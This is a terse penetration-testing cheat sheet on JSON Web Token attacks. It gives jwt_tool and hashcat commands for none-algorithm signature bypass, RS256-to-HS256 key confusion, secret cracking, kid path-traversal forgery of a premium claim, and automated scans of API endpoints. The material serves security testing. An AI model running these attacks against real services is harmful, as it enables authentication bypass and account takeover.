Burp Extension
Viewing the token
python3 jwt_tool.py <<JWT_TOKEN>>
Tampering with the token
python3 jwt_tool.py <<JWT_TOKEN>> -T
JWT Null Signature
Java JDKs 15 to 18 allowing to bypass signature checks
None algorithm attack – CVE-2015-9235
python3 jwt_tool.py <<JWT_TOKEN>> -X a
RS256 to HS256 Key Confusion Attack – CVE-2016-5431
python3 jwt_tool.py <<JWT_TOKEN>> -X k -pk <<PUBKEY.PEM>>
Crack Weak Signing Key - HS256, HS384 & HS512
python3 jwt_tool.py <<JWT_TOKEN>> -C -d <<DICT_FILE>>
HS256
hashcat -m 16500 /tmp/jwt.hash /path/to/wordlist.txt
Small list
Big list
JWK Header Injection
Kid injection - Path Traversal
jwt_tool.py eyJ0<-SNIP->6tsXW4w -I -hc kid -hv '/dev/null' -pc premium -pv true -S hs512
-I: injection mode
-pc field: Field (in the payload) to modify
-pv new_value: Sets the new value of the field
-S: Signature algorithm
https://www.youtube.com/watch?v=78FIFrOi4Os
Kid Out of Band
Forge Signed Tokens
SignSaboteur - Burp Extension
JWTtool - All tests
jwt_tool.py -t http://example/api/nmap -rh "Header-JWT: eyJ0<-SNIP->zw6tsXW4w" -rh "accept: application/json" -rh "Content-Type: application/json" -pd "[ \"1.1.1.1\", \"4.4.4.4\"]" -M pb -np
-t : target
-rh: Headers
-pd: Payload Data (in this example IP adresses)
-M pb: Playbook scan
-np: no pause
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
-M at: All Tests
Tools
JWTtool
JWTcat
jwt-pwn
jwt-hack
JWTweak
Resources
